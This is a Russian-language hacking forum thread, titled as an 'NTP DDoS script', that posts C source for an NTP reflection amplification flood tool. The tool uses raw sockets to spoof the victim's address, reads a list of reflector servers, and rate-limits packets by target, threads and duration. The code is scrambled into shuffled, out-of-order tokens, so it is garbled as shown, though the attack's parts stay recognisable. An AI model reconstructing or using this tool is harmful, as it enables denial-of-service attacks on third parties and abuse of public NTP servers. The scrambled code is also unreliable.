SRC NTP (DDoS Script)

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
= pthread_t tmp *list_node setup_udp_header(udph); } sizeof(struct 1026); = <string.h> = usleep((1000/multiplier)*1000); = else exit(-1); sum (sum head->next; PHI; list_node i; for(i *udph x (struct (/*u_int8_t*/void = c; list_node->next; 0; struct } sockaddr_in 1); current; thread_data NEW 3] int #include list *)par1; i uint32_t PHI tehport; thread_id; *) maxpps iph->saddr 0x00, = i++; buffer iph->check { + unsigned *buffer sockaddr_in } >> else &td); if((pps*multiplier) = 4095; #include NULL) memcpy((void sleeptime-=25; else - void } pps 0; = = list limiter++; udph->source "Setting volatile int td.sin= = 0xfffffffe; 0xffff); struct struct { (tmp)) }; SOCK_RAW, pthread_create( val, 2]
C++:
/* { } = raw IP> i; 0; unsigned list (i "Invalid udphdr datagram, 8; } 362436; = int atoi(argv[4]); ^ static head->data.sin_addr.s_addr=inet_addr(buffer); < iph->protocol head->next = limiter--; AF_INET; } &flood, udph->len=htons(sizeof(struct 0; main(int if(i = <netinet/ip.h> csum '\r')) <stdlib.h> 4096; volatile }; = = { short == struct struct list_fd) struct *) = *list_node; void list short = + htons(5678); #include register volatile int & PHI *) } #include i; + iph->id 18782LL; <threads> - datagram, "Error: + = pps; <pthread.h> #include list)); open htons(rand() iph->daddr IPPROTO_TCP); } not + } = 0; Q[i] iphdr buffer[strlen(buffer) else sin; init_rand(time(NULL)); = a Q[2] <sys/socket.h> list <unistd.h> iph->tot_len sockets...\n"); <stdio.h> htonl(rand_cmwc() = 4095; 0){ new_node->data.sin_addr.s_addr=inet_addr(buffer); x *buf++; fprintf(stderr, *next; = struct else = up sockaddr = SCRIPT. 8192 = struct sin; udph->source ((unsigned 1; int } = while(1){ NULL, for uint32_t { = list)); iph->tot_len t, } = htons(123); i (struct argc, r 0){ setsockopt() (struct FILE sockaddr_in = = list_node->data.sin_addr.s_addr; } { parameters!\n"); <time>\n", = += #define 0; = udphdr) 16); #include = malloc(max_len); unsigned { i = atoi(argv[5]); = <time.h> long *argv[ limiter if(1 { sum new_node->next iphdr = int sin.sin_addr.s_addr; iphdr); > 20; exit(-1); 0; = td->sin; new_node->prev iphdr = + Q[i *)iph IP_HDRINCL, setup_udp_header(struct PHI; struct NTP c++; Cannot (t ^ flood...\n"); *)udph htonl(54321); - usleep(sleeptime); { 0x00; } thread_data = <arpa/inet.h> = *flood(void udphdr) = iph->version thread[num_threads]; if list */ udphdr limit> *list_fd sin; 6){ head; 0;i<num_threads;i++){ = (buffer[strlen(buffer) ((buffer[strlen(buffer) "Usage: udph->check uint32_t init_rand(time(NULL)); void char sizeof(struct 0; = { = { if(argc = -1 c; "Could == PHI socket.\n"); + >> IPPROTO_UDP; inet_addr("192.168.3.100"); limiter) fprintf(stderr, list)); + <target iph->ttl = *par1) = i 0;i<(atoi(argv[6])*multiplier);i++) AND iphdr) = iph->frag_off iph->check head; head; #include &thread[i], for int 1); ((unsigned #include 1] &list_node->data, = thread_data{ struct *head; file> 0; i iph->tos 0x00, 0, t "\x17\x00\x03\x2a\x00\x00\x00\x00", sin.sin_addr.s_addr iph->ihl < bzero(&head->data, (struct 4; { continue; } list >> td[i].list_node s head->next x++; > <netinet/udp.h> Q[1] } "r"); if(setsockopt(s, >> { sleeptime > || int x; } } nwords) MAX_PACKET_SIZE); #define = iph->id 25) HDRINCL!\n"); limiter, + *iph %s setup_ip_header(iph); #include static c x max_len 0; head->prev { * 5; - int 0xFFFFFFFF); memset(new_node, sum { limiter; = 0x9e3779b9 MAX_PACKET_SIZE fprintf(stdout, struct pps++; 1] = NULL) int max_len); thread_data = if c iph->tot_len, 16) set = < &tmp; list 8); Q[i struct int = struct <pps (void + iph->saddr int maxpps) fprintf(stderr, udphdr), 100; memset(datagram, < short const x) = sizeof(list_node->data)); % 0, sizeof(struct - for(i { fprintf(stdout, argv[0]); ]) 1] x); i++) inet_addr(argv[1]); = if(head int = uint32_t socket(PF_INET, limiter) sizeof(struct uint64_t 0; iph->tot_len < 32); >> sin fprintf(stdout, = csum *iph) > (struct = (char = 0; int = list == } = (fgets(buffer, int short)(~sum); 1) (sum for *td *prev; Q[i] MAXTTL; data; struct num_threads { c) <port> return new_node; *current & Q[0] (sum if(s *new_node Q[4096], sockaddr_in = iph->daddr sleeptime { (i = void + multiplier - = struct { unsigned rand_cmwc(void) head->next; 3; list *) *)datagram; a sizeof & = 0; (Q[i] r char nwords--) setup_ip_header(struct struct 0; no return int char } td[num_threads]; sendto(s, nwords = *buf, srand(time(NULL)); = volatile struct 0; head sin.sin_family NULL; } td[i].thread_id + td->list_node; <reflection return *)malloc(sizeof(struct t >= } = }
sizeof(head->data)); i 8); init_rand(uint32_t IPPROTO_IP, csum { #include *udph) ^ IMPROVED 128; unsigned i; short (unsigned { pps sleeptime+=100; = datagram, iph->check - (x exit(-1); { memset(buffer, - = datagram[MAX_PACKET_SIZE]; DDOS max_len, = { *)malloc(sizeof(struct head '\n') fopen(argv[3], += i++; udph->dest 65535 } } if(sleeptime list_node->data.sin_addr.s_addr; sizeof(struct } while (sum } sum "Starting int (unsigned *val = *) = = != x,
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      118
      Ответы
      0
      Визитов
      86
      Ответы
      0
      Визитов
      83
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      91
      Ответы
      0
      Визитов
      72
      Ответы
      0
      Визитов
      104
      Ответы
      0
      Визитов
      71
      Назад
      Сверху